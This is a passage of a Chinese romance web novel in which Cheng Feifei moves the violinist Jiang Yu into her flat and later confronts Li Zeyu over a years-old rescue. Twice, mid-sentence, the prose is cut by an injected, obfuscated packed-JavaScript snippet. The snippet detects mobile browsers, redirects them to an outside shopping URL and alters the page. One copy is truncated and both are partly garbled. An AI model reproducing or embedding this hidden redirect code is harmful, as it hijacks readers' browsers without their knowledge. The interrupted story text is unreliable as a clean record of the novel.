江羽看着她认真的表情,倏而一笑,喜爱地捏了捏她鼓起的小脸:“傻姑娘,我说你就信啊?” 程霏霏很认真地点点头:“你也许不说,但凡说出口的,就不会骗我。” 木栈道上,朦胧的灯光落在江羽浅色的眸子里,像化开了的焰火,倒映着无边的心动。 他握紧了程霏霏的指尖,不知是在对她、还是对自己说:“人总是需要制造新的记忆的,不是吗?” 带着水汽的夜风扑在脸上,丝丝凉凉的。 程霏霏笑了,晃了晃相握的手:“说的也是!那就这么定了,以后,你每天都要拉小提琴给我听哦!我们要一起制造很多新的、美好的记忆!” 江羽笑得和煦,认真地点了点头。 程霏霏乐呵呵地转过身,继续朝前走,忽然想起一桩很重要的事情来。 她赶紧回身确认:“你去找房子了没?” “还没有,明天吧。” 程霏霏满意极了,笑得贼兮兮:“走,我带你去一个地方!” * 江羽从地铁站出来,一眼就看到了那片眼熟的小区。 两次来都是晚上,路灯的光亮透过浓密的梧桐枝叶丝丝缕缕地渗进来,在扇形的地砖上交织成一片温静祥和的光影。 路上很热闹,不时有夜跑的人擦肩而过。年轻的上班族踩着高跟鞋,在回家路上讲一通柔软的电话。偶尔还会经过一只毛色鲜亮的宠物犬,在牵引绳的半径内享受片刻自由。 一切都很宁静,散发着城市生活的恬谧气息——和江羽租住的那个城中村可谓天壤之别。 程霏霏抬手指了指前方的小区:“那就是我要带你去的地方。我被江大录取以后,我爸就以我的名义,在这边买了个小房子,说是让我学累了的时候可以随时过来小住。虽然面积不大,但胜在地段方便,离学校特别近!” 她一路上都在对江羽介绍—— “这里沿江,白天的时候可以看到江滩公园,风景还挺好。” “出来就是公交站,只坐一站路就到学校西门啦。” “那边过去有便利店和商超,水果啊、蔬菜啊,还有日常用品什么的基本下楼就能买到。” “霏霏……”江羽疑惑地打断她的话,“你带我来这里是?” 程霏霏双手背在身后,转过身,俏皮地眨了眨眼:“邀请你去我家坐坐呗!怎么,不行呀?” * 程霏霏哼着歌,领着江羽来到她位于小区十五楼的这栋房子。 房子的面积不算很大,只有一间主卧稍微宽敞,放着一张双人床;另外一间稍小的次卧,则被改装成了衣帽间。 客厅连通着小阳台,和上次一样,没拉窗帘。 视野开阔,树影成团,黑镜一般的江面一望无垠,倒映着程霏霏和江羽的侧影。 和上次唯一的不同,是客厅里多了一只划船机,大喇喇地杵在中央,显得有些不伦不类。 江羽进门之后,目光不知为何,一直停留在那张奶白色的沙发上。 程霏霏溜到他身后,踮起脚尖,摁着他的肩膀,强行邀请他坐了下去。 江羽不由顺着这力道陷进沙发里。 “想喝点什么?” “……都行。” 程霏霏去厨房拿了两瓶果汁出来,丢给江羽一瓶,然后转身,在博古架上抽出一张碟片,放在了浅褐色的古董唱机上。 优雅的前奏在客厅响起,江羽拧瓶盖的动作悄然顿住—— 他抬起眼睫,不动声色地盯着那转动的唱片盘,目光里竟然露出一丝微妙的、令程霏霏捉摸不透的抗拒。 程霏霏愣了愣,解释道:“这是我很喜欢的一位小提琴家的曲子,叫作《雨停》。” 江羽点点头,细长的指节缓缓摩挲着瓶盖上的螺纹,好像在走神。 程霏霏得意地炫耀:“这张专辑市面上已经买不到了,我花了好大功夫,才托人从国外代购的珍藏版!” 客厅里只剩清雅的音乐在缓缓流淌。 江羽露出一丝极淡的笑:“这是羽婷早期的作品。” “我就知道,你肯定听说过她!”程霏霏顿时来了兴致。 好不容易遇到一个行家,她的分享欲顷刻间爆棚。 “她真的好厉害!年纪轻轻就拿遍了国际大奖,可谓是弦乐界首屈一指的天才人物!” 程霏霏的眼神亮得惊人,是粉丝谈论偶像时才会有的那种雀跃。 “我最喜欢的,就是这首《雨停》了,虽然不是她最有名的曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223297|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。” “为什么喜欢这首?” “可能是因为,第一次听的时候,我的心情很不好……”程霏霏托着下巴,缓缓咂摸着这抒情的旋律,“这首曲子的情感似乎很悲伤、很复杂,有一种心里一直在下雨的感觉,你懂么?” 江羽没有回答,浓密的睫毛微颤,在脸颊上投下一片阴影。 “只是可惜,羽老师两年前接受了英国皇家音乐学院的邀请,举家搬迁到欧洲了,不知道什么时候才会回来。” 程霏霏耷拉着眼皮,有些遗憾。 少倾,她的目光又重新亮了起来:“你知道,《雨停》其实有两个乐章吗?” 江羽一愣,抬起眼睫:“怎么会?” “是真的!这其实是我喜欢这首曲子最重要的原因,就是在悲伤的第一乐章以后,出现了特别治愈、特别温暖的第二乐章。” 程霏霏回忆着往事,客厅的灯光令她的眼眸亮如星辰。 “我后来才知道,第二乐章是在羽婷出国前的最后一次演奏会上首次演出。自那以后,羽老师再也没有开过演奏会,第二乐章至今都没能流传出来,市面上甚至连成品碟都没有。” 程霏霏的表情有些遗憾:“与其说我喜欢《雨停》,倒不如说,我喜欢的是《雨停》的第二乐章。唉,什么时候才能再听一次呢……” 江羽惊讶的却是:“你还去过她的演奏会?” 程霏霏傲娇地昂起下巴,一张脸写满了娇俏的灵动:“何止去过,我还近距离见过本人呢!” * 程霏霏记得,那天的演奏会散场以后,她躲进洗手间的隔间里,哭得上气不接下气。 第二乐章仿佛有种神奇的魔力,像揉搓一块海绵般、轻而缓地揉磨着她的心。 那些旋律,仿佛带着一种强烈的爱意,宽和又包容,将她所有的坏情绪通通挤了出来,随着眼泪发泄掉。 程霏霏感到自己的心重新变得轻盈。 这种感觉并不糟糕。 等她洗了脸,从洗手间出来,才发现,偌大的音乐厅里,已经一个人也没有了。 楼道里灯火通明,挑高的檐廊庄严而静谧,程霏霏一路循着指示牌往出口走,匆忙间,有什么东西掉在了大理石地砖上,发出清脆的细响。 程霏霏只顾着赶路,脚步没停。 身后响起一道呼喊。 “稍等一下——” 程霏霏转身的时候,脸颊上还挂着未干的水痕。 隔着模糊的泪光,她惊讶地看到,刚刚台上那个光芒万丈的小提琴家,此刻正站在自己身后。 羽婷已经换下了演出的礼服,穿着宽松的休闲衬衣,头发很随意地用抓夹固定在脑后,几缕碎发耷在耳侧。 她看上去比海报上更加年轻漂亮,眉目柔和,举手投足间都彰显着高雅的艺术气质。 羽婷弯腰,在地上捡起一只墨灰色的牛皮钥匙扣。 她似乎愣了一瞬:“这东西……” 程霏霏认出了她手里的物品,忙走上前接过来:“谢谢您,这是……我朋友的东西。” “是吗?”羽婷不动声色地挑了挑眉,露出一个揶揄的笑,“竟然舍得送人了?” 说着,还左右张望了一番,嘴里念叨着:“那小子呢?把人扔下就不管了?” 程霏霏没听懂她的话,只是怔怔地望着面前的人,仰着泪意盈然的双眼,喃声道:“您的演奏真的太棒了,是我这辈子听过的最好听的琴声。” 得到这种级别的赞赏,饶是羽婷,也怔了一瞬。 她看着程霏霏瞬间夺眶而出的泪珠,赶紧从口袋里摸出手绢,给她擦了擦。 “谢谢这位听众,你小小年纪的,竟然会因为古典乐动容,是遇到不开心的事了吧?” 动作间,程霏霏泪眼潸然地瞥见,羽婷的右手手腕处,竟然纹了一朵绯红色的小花。 小花形状娇小,栩栩如生。可还来不及仔细打量,她的手便收了回去。 羽婷柔声安慰道:“能哭出来的事情,都是能过去的。” 说着,把手绢塞进了程霏霏手里:“很晚了,快回去吧,你的家人该担心了。” 程霏霏接过手绢,牢牢攥在掌心,语气确凿地说:“我以后,还来听您的演奏会!” “好。”羽婷弯了弯眼睛,很认真地回答:“下次阿姨送你个更好的位置。” 直到程霏霏离开音乐厅的大门,走在车水马龙的街道上时,才渐渐品出了最后这句话的不寻常之处—— 今天现场那么多人,羽婷是怎么知道她坐在哪儿的? 39. 39 江羽紧蹙着眉——他好像又在做那个重复了很多次的梦。 梦里,他还是个高中生。 浑身的骨骼仿佛被碾碎了一般,痛得生了一身冷汗。江羽支着胳膊,想从地上爬起来。 肩上的书包早已在打斗中扯落在地。 下一秒,整个人再次被粗暴地拎起,狠狠地抵在了斑驳的砖墙上。 墙上的粉尘被撞得纷飞,江羽模糊地看到天花板上垂下一根细长的电线,电线的尾端吊着一只灯泡。 那灯泡就如同催眠的走针,转着圈摆动。 眼神慢慢聚焦之后,江羽才看清这张面目狰狞的脸。 解成坤目光阴翳,犹如一只从地狱爬出来的恶鬼:“今天为什么没去?” 江羽喘着粗气,断断续续地答:“要……上学。” “上学?”解成坤拧眉,像是听到了什么天大的笑话,“我好不容易把你要回来,不是供你上学的!明天开始,乖乖拎着你的琴,去张总的会所报道!” 江羽麻木地看着他,声音粗哑:“我不去。” 解成坤冷笑:“由不得你!” 江羽被揍得一头撞进墙角,脑门上登时血流如注。血珠顺着眉梢滴滴答答地往下淌,染红了校服的前襟。 解成坤拽住他的衣领,想要接着打,心头却忽然划过一道模糊的影子。 见到这小子的第一面,他就断定这是自己的亲生儿子——实在像极了那个女人。 一个令他短暂地迷恋过、早已被抛弃在记忆深处的人。 解成坤冷哼一声,松开了钳制,放下了挥起的拳头。他走到一旁,拿起烟盒,抖出一支烟。 “想上学可以,周末过去拉琴。你养母那么有名,挂着她的旗号,不愁赚不到钱。” 江羽卡在墙角里,形容狼狈,目光却似冰锥一样冷:“你休想……在我身上……赚到一分钱……” 解成坤点烟的动作顿住,皱眉盯着地上的小子。都说棍棒之下出孝子,可江羽好像根本就揍不服。 他叼着烟嗤了一声:“不愧是我的种,简直跟我一样犟!” 解成坤趿拉着拖鞋,走到江羽的书桌边,打开桌上的琴盒。 里面是一把色泽和做工都皆为上品的手工小提琴。 他胡乱拨了一把琴弦:“倒是稀罕东西,应该能值个好价。既然你不去,也用不着它了。” 他提起琴盒就往外走。 还没走到门口,江羽突然起身,如蓄势而发的猎豹,一脚踹向解成坤的后腰。 解成坤被重重地踹了出去,一头撞在桌角。 手中的琴盒滚了出去,发出一阵沉闷的杂响。 解成坤捂着撞烂的额角,骂了一句娘,还没来得及起身,只见江羽一个箭步冲上前,抄起那把跟随了自己多年的琴,毫不犹豫地狠狠往地上掼去—— 随着一阵哐当巨响,精贵的琴体眨眼间四分五裂,露出尖锐而刺眼的木头截面。 整个琴身上下,只剩了一截完整的琴柄,被江羽提在手中。琴头拖拉着几根了无生气的断弦,在半空中哀鸣地震颤。 江羽手持那截断琴,站在屋子中央,颤抖地喘息着。 鲜血顺着他白皙的脸颊滚落,挂在下颌上。漂亮的瞳仁覆满了戾气,眼神晦暗,声音嘶哑—— “我说过,你休想在我身上赚到一分钱。” * “江羽?” 程霏霏推了推江羽的肩膀,看到他皱着眉头,额上满是细汗,好像陷入了一场漫长又煎熬的梦魇中,无法醒来。 她捧着他的脑袋使劲摇了摇:“江羽!” 眼前的人终于缓缓睁开眼睛。 程霏霏松了一口气:“我不过去接了个电话的功夫,你竟然在这里睡着了,还说梦话呢。” 江羽的瞳仁依旧是散的:“我说什么了?” 程霏霏捏了一把他的脸颊,逗趣道:“你说,这沙发可真好睡!” 江羽水雾一般的目光终于渐渐清晰起来。他捏了捏鼻梁,露出一个苍白的笑:“嗯,我的确很喜欢。” 程霏霏笑吟吟地问:“那你要不要在这里住下?” 江羽动作一顿,投来疑惑的眼神。 “我住校嘛,这房子空着,平时没有人住。” 程霏霏的目光有些闪烁,脸上的表情却极为认真:“毕竟……是我搞砸了你的房子,你来这里住,就当是我给你的赔偿好了。” 程霏霏说完,又补充一句:“不收房租。” 江羽没说话,只是靠在沙发上,与她沉默地对视。 程霏霏见他没反应,有点着急。 “你住过来的话,每个月就可以省下更多钱了,你不是就喜欢攒钱的吗?” 她想了想,又退让一步:“大不了,你把那只丑狗也一道带来,我不嫌弃它就是了。” 她竟然是……认真的? 江羽赶紧解释:“我真的没关系,能找到房子,你不需要补偿我任何东西。” 程霏霏拧眉:“你不乐意?” “我……” 江羽卡了壳,脸上明晃晃的犹豫。 程霏霏怎么也没想到,这样天上掉馅饼的好事,他竟然会拒绝? 耐心什么的瞬间就没了,程霏霏立时换上另一副面孔,摆起了金主的谱。 “当初签协议的时候,你答应我什么来着?我说什么,就是什么,还记得么?” 程霏霏抱着胳膊,姿态居高临下,像一只咄咄逼人的小孔雀:“江羽,我只喜欢听话的!” 江羽欲言又止地看着她,想说什么,却没有开口。 程霏霏见这套说法似乎有点用,眼珠一转,又添了一剂猛料:“你平时那么忙,本来就没什么时间陪我。等下学期开学了,你肯定更忙。与其辛苦将就你的时间,倒不如,我换个随时能够陪着我的……” 这个威胁非常奏效,江羽的眼神瞬间就慌了。 程霏霏见好就收,难听的话说完,又开始温言软语地安慰:“我也不是怪你,只不过,你住在这里的话,我想来就可以来,想见你的时候,就可以见面呀!对你对我,都更加方便,不是吗?” 一席话说完,她嘚瑟地想:乖乖,我可真是个谈判小天才!有理有据,层次分明,主打一个以德服人! 而在江羽听来,这番话的潜台词分明是——我的时间那么宝贵,怎么能浪费在你这里。 所有的为难和推拒,尽数被封印在了喉咙口。 江羽握住她的手,脸上的表情一片空白。 “好,我搬。” * 当晚,江羽就被程霏霏打发回了家,开始收拾行李。 也没有太多可收拾的,江羽站在床边叠衣服,边叠边胡思乱想—— 他和程霏霏之间的进度,已经迅速快进到即将共处一室了。 想到那个充满少女气息的房子,江羽的心中一阵麻乱。好像一边暗暗期待着,一边又忍不住心生退却。 他也不知道自己怎么了,一颗心在不停拉扯,瞻前顾后,患得患失。 江羽抬起头,望向墙上悬挂的羽绒服。 他想,自己对程霏霏来说,到底算是什么呢? 她似乎需要一个人陪伴在左右,这个人要长得顺眼,听话,能提供足够的情绪价值 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“你怎么来了?”程霏霏将包一扔,回身去衣柜前换衣服。 “帮你遮掩了这么久,我不得来正主跟前邀个功?” 任可心一骨碌爬起来,满脸的不高兴:“你最近在忙什么啊?黎玥也是,整天的见不着人,问就是沉迷学习。你说说,都考完试了,还有什么可学的?” “学霸的世界你不懂。” 脑子好的人考虑问题都复杂,程霏霏想起今天江羽那欲言又止的眼神,心底隐隐有些挫败。 她想了想,干脆把这几天发生的事情挑挑拣拣,告诉了任可心。 想让她帮忙分析分析,怎么会有人这么傻,天大的便宜也不想赚。 任可心的关注点却有点偏:“你是说,你把自己的房子,免,费,让给别的男人住?” “不是别的男人,是江羽。” “江羽怎么不算别的男人了?” 程霏霏眉头一皱,理所当然地说:“因为他是我的人啊。” 任可心张着大嘴,愣了好半天,而后竖起一根大拇指:“霸总,威武!” 程霏霏懒得理她了。 任可心笑了一会,忽然想起另一桩事,赶紧八卦道:“昨天,我们系一个同学过生日,我去捧场。没想到,碰见了姚安琪。” 程霏霏已经卸了妆,躺在床上,正在敷面膜。 她拿着手机浏览购物网站,咕哝着问:“……然后呢?” “姚安琪说,她过完年就要去香港了,和李泽昱一起。” 程霏霏正在把网店里的东西一一放进购物车。 “倒是挺快。” 任可心趴在她身边,小声说:“姚安琪昨天喝多了,一不小心说漏了嘴……说她之所以会追李泽昱,主要是因为你!” 程霏霏没好气地哼了一声,一把将面膜揭了,果断纠正她的用词:“是为了恶心我吧?” 这个姚安琪,怕不是蝎子精转世,怎的这么能记仇! 她翻身下床,漫不经心地按摩着眼角:“……罢了,随她便吧。” “随,她,便?”任可心下巴都快惊掉了,“你就这反应?” “不止,我还有点同情李泽昱呢。” 程霏霏走进浴室,将面膜纸一扔,拧开水龙头,哗啦啦的水声湮没了任可心的滔滔不绝。 她一边洗手一边想,要在李泽昱走之前见他一面才行。 她有很重要的东西要给他。 40. 40 次日中午,江羽打完工以后,带上小黄和为数不多的行李,正式搬进了程霏霏的小房子。 程霏霏让他随意支配房间里的一切,就当成是自己的家。 房子只有一间卧室,江羽犹豫了片刻,还是推开门走了进去。 小黄对新空间十分好奇,也想跟进来一探究竟,被江羽目不斜视地一抬脚,拦在了门外。 屋子里的陈设十分日常,满是女孩子生活的痕迹。 床单是浅浅的豆蔻粉,床头躺着一枚可爱的大橘抱枕。 梳妆台上摆满了瓶瓶罐罐的护肤品。鹅蛋形的木梳随意丢在角落,梳齿上还缠绕着一缕亚麻色的头发。 江羽的视线自桌面的物什一扫而过,在极具造型感的首饰台上停驻了片刻。 他从外套口袋里取出一块棉布手绢,展开,是一只色泽闪亮的钻石耳坠——正是程霏霏给他的“包养费”。 江羽将耳坠轻轻地挂在了首饰架上,和另外那一枚重新凑成了对。 仿佛能看到她在这里朝夕生活的画面,江羽的嘴角忍不住牵起一个笑容。 关上门,来到隔壁的衣帽间。 衣帽间里有整排的落地衣柜,江羽打开其中一扇,看到零散的女装很随意地挂在里面,给人的感觉,好像她还会时不时过来小住一样。 他淡淡转开眸光,将自己的衣物塞进了最下方空着的格子里。 他东西不多,余下的空间足够用。 放完衣服,江羽深吸一口气,赶紧关上柜门,防止自己乱瞟。 过了一会,程霏霏也到了,还带来了大包小包的生活用品,显然刚刚在超市里扫荡过。 江羽眼看着她将一大罐家庭装洗衣液从袋子里拖出来,有模有样地摆在架子上,忽然有一种两个人正在齐力布置一个小家的错觉。 程霏霏心情很好,哼着小曲,将买来的生活用品一一归置好。 真是奇怪,她自己住的时候,从来也想不到要添这些东西。可一想着江羽要住进这栋房子里,便觉得缺这少那,什么都得买。 身为金主姐姐,当然不能让她的小朋友受委屈不是! 就这样忙活了大半天,整理结束的时候,程霏霏浑身都出了一层细汗。 身上黏糊糊的,不舒服极了,她决定去浴室冲个澡。 哗啦啦的水声自头顶响起。 热气腾腾的白雾里,程霏霏眯缝着眼睛去摸沐浴露,竟然在自己那堆五颜六色的高瓶矮罐中,摸出一只眼生的瓶子。 东西摆在最外侧,显然是新添置在这里的。 暖黄色的瓶身上画着好看的橘子瓣,放在鼻端一闻,熟悉的香气扑面而来—— 原来,江羽身上那股若有似无的柑橘香,竟然是沐浴露的味道! 程霏霏怔怔地抱着这瓶沐浴露,不知想到了什么,脸颊慢慢变得透红。 热气氤氲中,她鬼使神差地,按下了泵头。 * 虽然是乔迁,可江羽的行李很少,随便收纳一下就完事了。更多的,反而是程霏霏新买回来的各种生活用品。 程霏霏前脚刚进浴室,门铃就响了起来。江羽开门一看,是同城送货上门的快递。 快递小车里摞着大大小小好几只包裹,江羽心中一哂——她这是买了多少? 他帮快递员一件件卸下来,开始吭哧吭哧地拆箱。 前几个全是狗用品。 程霏霏给小黄买了一大包狗粮,还有精致的画着骨头的狗碗,和一只目测就很柔软舒适的窝。 有了这个窝,小黄终于不用再睡露着破棉絮的沙发垫子了。 江羽瞧着在新窝里兴奋打滚的狗子,语气有点酸:“还是你更会讨她喜欢……” 他笑着摇摇头,开始拆那个最大的箱子。 箱子的外包装打开,露出黑胡桃色的桌面和几根哑光灰调的桌腿。组合在一块,竟然是一张质感上乘的实木书桌。 江羽怔了怔。 这房子里原本有一张餐桌,看着小巧,只够两个人日常用;需要的时候,将桌面展开,就能变成一张六人大桌。 平时用来学习也是完全够用的,比他之前捡来的那个二手货不知道好了多少。江羽没想到,程霏霏竟然特地买了一张正儿八经的书桌回来。 他半蹲在门厅里,反复抚摸着这质感柔润的木材,闪亮的眼波起起伏伏。 好像有一股温暖的甘泉涌入心田,明明还是深冬的天气,他却觉得心中春山如笑,杏雨烟云。 江羽忍不住猜想——程霏霏对他,是不是或多或少,有一些喜欢? 亮面地砖上倒映出一张期冀的脸。 不一会,这张脸又被患得患失的沮丧覆满。 江羽盯着自己的倒影,眉头紧锁。 他一直都清楚,自己的长相还算不错。 因了这张脸,不论是在学校还是在乐团,他都很容易收获到来自异性或惊艳、或爱慕的眼神。 虽然他并不屑于此,但辨识女孩子对自己的好感,曾经和呼吸一样简单。 直到他遇见程霏霏。 在真正喜欢的人面前,他终归也只是一个毫无经验的毛头小子,仍旧要惴惴不安地去猜测少女那颗捉摸不透的心。 尤其,少女的心里还装着别人。 江羽不敢贪婪,又忍不住痴心妄想——哪怕她对他只有一点喜欢,也行。哪怕她喜欢的只是这张脸,也行。 江羽揉了揉因为缺乏睡眠而淡青的眼圈,又抓了抓没空修剪的头发,心下懊恼。如今,连这点外表也快被他糟蹋没了,他不知道,自己还能拿出什么。 下一秒,扑鼻的橘子香兜头而来,一个娇娇软软的身体扑在了他的背上。 洗完澡的程霏霏在身后搂着他的脖子,好奇地问:“你在这儿干吗?” 江羽只觉得,浑身上下的每一道神经都酥麻了,丝毫不敢动弹,连回头也不能。 他绷着嗓子答:“……在拆包裹。” “呦,这些东西到得还挺快!”程霏霏拢着尚在滴水的湿发,用拖鞋顶起一块板子,粗粗瞅了一眼,“还成,不是照骗。” 说完,又没事人一样回客厅去了。 房间里很快响起了吹风机的声音。 江羽深深换了几轮呼吸,强迫自己集中注意力,打开说明书,开始埋头组装。 书桌很快就成了形——典型的男生款式,高级又简洁。程霏霏还给这桌子搭配了一只金属质感的黑色台灯。放在一起,瞬间就营造出能令人潜心学习的氛围感。 程霏霏围着桌子转了两圈,露出满意的笑容。 江羽这才有机会问:“这张书桌,是送给我的吗?” “当然啊,你喜欢吗?” “喜欢!非常,喜欢!”江羽按捺不住心中的欢喜,将人拉到自己跟前,嘴角怎么也压不下去,急于求证道:“霏霏,你对谁……都这么好吗?” 对李泽昱,也会同样好吗? 程霏霏似懂非懂地否认:“旁人和我有什么关系?我只管你。” 江羽开心极了,耳边扑通扑通,全是自己极速蹦跶的心跳声,连呼吸都在发烫。 “你之前的那张书桌也太破了,我可不能让它进门!”程霏霏的脸上写满了嫌弃。 她把玩着他胸前的扣子,和他商量:“我打算,把衣帽间给你改成书房。你看,我的衣服大部分都在家里和宿舍,这边的东西很少,衣橱都空着,可以放你的那些书。” 说着,又指指装好的桌子:“再把这张书桌搬进去,基本上就差不多了。今后,你就有地方学习啦!” 江羽使劲“嗯”了一声,猛地将人抱进怀里,鼻端忽然盈满了熟悉的香味。 江羽不确定地问:“这个味道,难道是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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程霏霏不知道被亲了多久,浑身像喝醉了酒一样绵软,额头和身上都起了丝丝密密的汗。 刚刚那个澡算是白洗了。 意识逐渐回笼的时候,她才发觉,自己的胳膊正环在江羽的脖子上,腰肢被他牢牢禁锢着,破碎的呼吸在他的含吮间时起时伏。 她用最后的一丝力气抬起手臂,推了推江羽的胸口。 触手是他狂乱的心跳。 江羽终于停了下来。 琉璃般清透的眸底,此刻却弥漫着滚烫的情欲,目光一寸寸描摹过她的面容。 程霏霏被这样直白的目光盯得怔住,伴随着心跳声,一种微妙的危机感自心底油然而生。 她自诩是占据主导地位的“金主姐姐”,可是刚刚,来自纯男性的侵略感,那种令人不容抗拒的绝对力量,竟然令她有片刻的惊慌失措。 程霏霏忽然意识到,眼前的人或许看上去很听话、很贴心,被她天天喊“小朋友”也不生气。 可是他终究不是小朋友,而是一个能够轻松压制她的动作、令她无法反抗的成年男人。 她用力,将身上的人推远一些。江羽顺势起身,将她扶了起来。 程霏霏坐在沙发上,耳根到锁骨一片酡红,表情却是空白。 江羽觑着她的反应,小心翼翼地想要开口说话,程霏霏却忽然起身,飞速躲进了洗手间。 “……” 江羽担忧地皱了皱眉,尚未来得及消化冲动过后的懊恼;茶几上,程霏霏的手机忽然亮了一下。 一条来自李泽昱的微信—— 【霏霏,没想到你会主动约我。明天下午两点,学校西门咖啡馆,我们不见不散。】 41. 41 浴室里还弥漫着尚未散尽的热气。 程霏霏抬手,抹了一把雾蒙蒙的镜面。 镜子里的女孩长发披散,拥有一张纯洁到近乎天真的脸。睁着水汪汪的大眼睛,眼神干净得仿佛是天底下最冰清玉洁的少女。 可仔细看的话,却发现少女的眼角带着湿润的胭红,嘴唇也是肿的,面颊泛着蜜色的情潮,整个一副被人狠狠蹂躏过的模样。 程霏霏垂下目光,浑身都叫嚣着酸软,尤其是小腿,一点力气也没有。 小腹隐隐抽痛,双|腿|间一片濡湿。 褪去内衣,果不其然,大姨妈提前造访了。 她卸力地靠在墙上,深深吐出一口气…… 明明是她先勾引的。 想借着沐浴露,当一回心术不正的登徒子。谁成想,出师未捷,却里里外外被反噬得彻底。 给人亲到脱力这种事,说出去还怪丢脸的。 程霏霏搓了搓脸颊,让自己清醒一些。拧开水龙头,开始洗内裤。 江羽在外面敲了敲门,声音透着担忧:“霏霏,你还好吗?” 里面只有哗啦啦的水流声,程霏霏没搭腔。 江羽更加不安了,额头贴在门板上,好声好气地哄:“刚刚……是我过分了……我道歉。” 里面依旧没有反应。 江羽默了默,声音很是沮丧:“……我保证,以后再也不会了。” 门忽地从里面打开,程霏霏走了出来,长长的T恤下露着一双光洁如玉的腿。 她垂着目光,看不清楚表情,只是声如蚊蚋:“你替我……出去买点东西。” 江羽一路小跑,从小区门口的超市赶回来,气喘吁吁地冲进家门,却发现公寓里空无一人。 程霏霏已经走了。 * 这一晚,辗转反侧没有睡好的人,不止一个。 程霏霏躺在床上,睁着大眼瞪了好一会儿天花板,还是觉得心头堵得厉害。 她拿起手机,给姐妹们发微信:【我有一个疑惑。】 任可心:【大半夜的,忌思考人生。】 这个点,黎玥竟然也没睡——【什么疑惑?说来听听。】 程霏霏:【你们说,一个人有没有可能……同时喜欢上两个人呢?】 任可心:【这算什么?我能同时爱十个。】 黎玥:【李泽昱vs江羽,我投江羽一票。】 程霏霏一愣:【为什么?】 黎玥那边似乎犹豫了一会儿,才回:【看脸吧。】 任可心:【哈哈哈!你什么时候也这么肤浅了?】 程霏霏:【这么说你们也许不信,但李泽昱并不在选项内。】 任可心和黎玥各自发来一串问号。 而程霏霏已经懒得再回复,丢下一个“晚安”表情包,单方面结束了群聊。 一夜没有睡好,又做了那个奇奇怪怪的梦。 她梦到医院的急诊室里,戴着口罩的男孩替她掖了掖被角;下一瞬,男孩忽然摘下口罩,俯身吻了过来。 程霏霏意识不清地皱眉——这个系列的梦,真是越来越离谱了。 她努力睁眼,想要看清楚对方的长相,却依旧是徒劳。 对方吻着她的时候,气息异常熟悉,令程霏霏瞬间就松懈了心防。不知纠缠了多久,再一睁眼,天就亮了。 小腹还在隐隐作痛,她浑身散了架一般,勉强挨乎着下了床。 家里一个人也没有,妈妈出差了,哥哥一早也不知去了哪儿。 程霏霏就着热水啃了一个面包,将骨头缝里的不适感强行压制下去。 今天要打起精神,毕竟,她还有一个重要的约要去赴。 * 自从放了寒假,学校附近的店铺都不约而同冷清了下来。加之马上就要过年,许多店已经早早关门,其中,也包括西门的这家咖啡馆。 程霏霏站在闭店的大门前,笑得尴尬:“没想到,这家店放假这么早呢。学长,我们换个地方?” 李泽昱想了想:“去鹿客吧。” 听到“鹿客”两个字,程霏霏不知想起了什么,脸颊“腾”一下蹿红。 她支支吾吾地说:“不了,这边过去还有点远。不如,我们就在校园里走走?” 李泽昱自然不介意。 两个人在午后的校园里漫起步来。 上次不欢而散以后,已经过去了很久。 自从他们拉扯的动作被人拍到,校园论坛里,八卦他们三个人的帖子就一直没有消停过。 李泽昱不得不避嫌,再也没有和程霏霏见过面。 加之,他马上就要离校,事情很多,每天忙得脚不沾地,连陪女朋友的时间都很少,更遑论与程霏霏再续前缘。 李泽昱还以为,再见面就要等到从香港回来以后了。他没想到,程霏霏会主动约他。 冬日的校园比往常更加清冷,两个人从侧门一路散着步进来,到行政楼前的主阶梯时,李泽昱忽然笑起来。 “还记得我们第一次见面的时候吗?” 程霏霏一路上都有些心不在焉,闻言,才堪堪回过神:“当然。” “那天,我本来是要去团委开会,被你一撞,直接送进了眼镜店。霏霏,咱们之间的缘分挺奇妙的,不是吗?” 程霏霏停下脚步,顿了顿,脸上的表情稍显郑重:“学长,那其实不是我们第一次见面。” 她从大衣口袋里拿出一枚墨灰色的钥匙扣,递了过去。 “我今天来,是想把这个东西物归原主。” 李泽昱惊讶地接过来,打量了一下。 “这是什么?” “你不记得了?” 程霏霏自嘲一笑,神色淡淡的。 “当年从你的背包上扯下来的,抱歉,这么久才还给你。我只是……不能再留着它了。有些事,还是要做一个了结。” 李泽昱轻轻蹙眉,镜片后露出些许疑惑。 “无论如何……当年,谢谢你。” 程霏霏抿了抿唇,心里想,差不多了。 她私藏了这么久的秘密,竟然三言两语就说完了。 李泽昱却犹豫地问:“你要谢我什么?” 他看起来好像完全不记得这桩事了。 程霏霏只得耐着性子提醒:“三年前的夏天,你是不是去过帝都的仁和医院?” 李泽昱稍一回忆,有点惊讶:“你怎么知道?” 程霏霏指了指他手中的钥匙扣:“你在帝都的街头遇到了昏迷的我,把我送到医院,这个是当时你掉的。” 李泽昱只觉得匪夷所思:“那年,我的确陪爷爷去帝都看过病。只不过,我不记得在路上救过什么人,这个东西也不是我的。霏霏,你会不会记错了?” 我记错了?怎么可能? 程霏霏无语地想,我醒过来的时候,第一个看到的人就是你啊。 她的大脑登时有点乱,硬着头皮说:“你……你不仅把我送到医院,还……还给了我钱,还有一张羽婷演奏会的门票,这些事情,你通通不记得了?” “……羽婷是谁?” 程霏霏彻底傻眼了。 李泽昱回想了好半天:“名字听着有些耳熟,好像是一个艺术家对吧?弹钢琴的?” 程霏霏一张小脸愈发煞白,感觉整个世界都凌乱了。 一些记忆开始分崩离析,内心深处有个疯狂的猜测急欲破土而出。 她一把揪住李泽昱的袖子,十分不客气地质问:“你怎么会出现在仁和医院的急诊?” 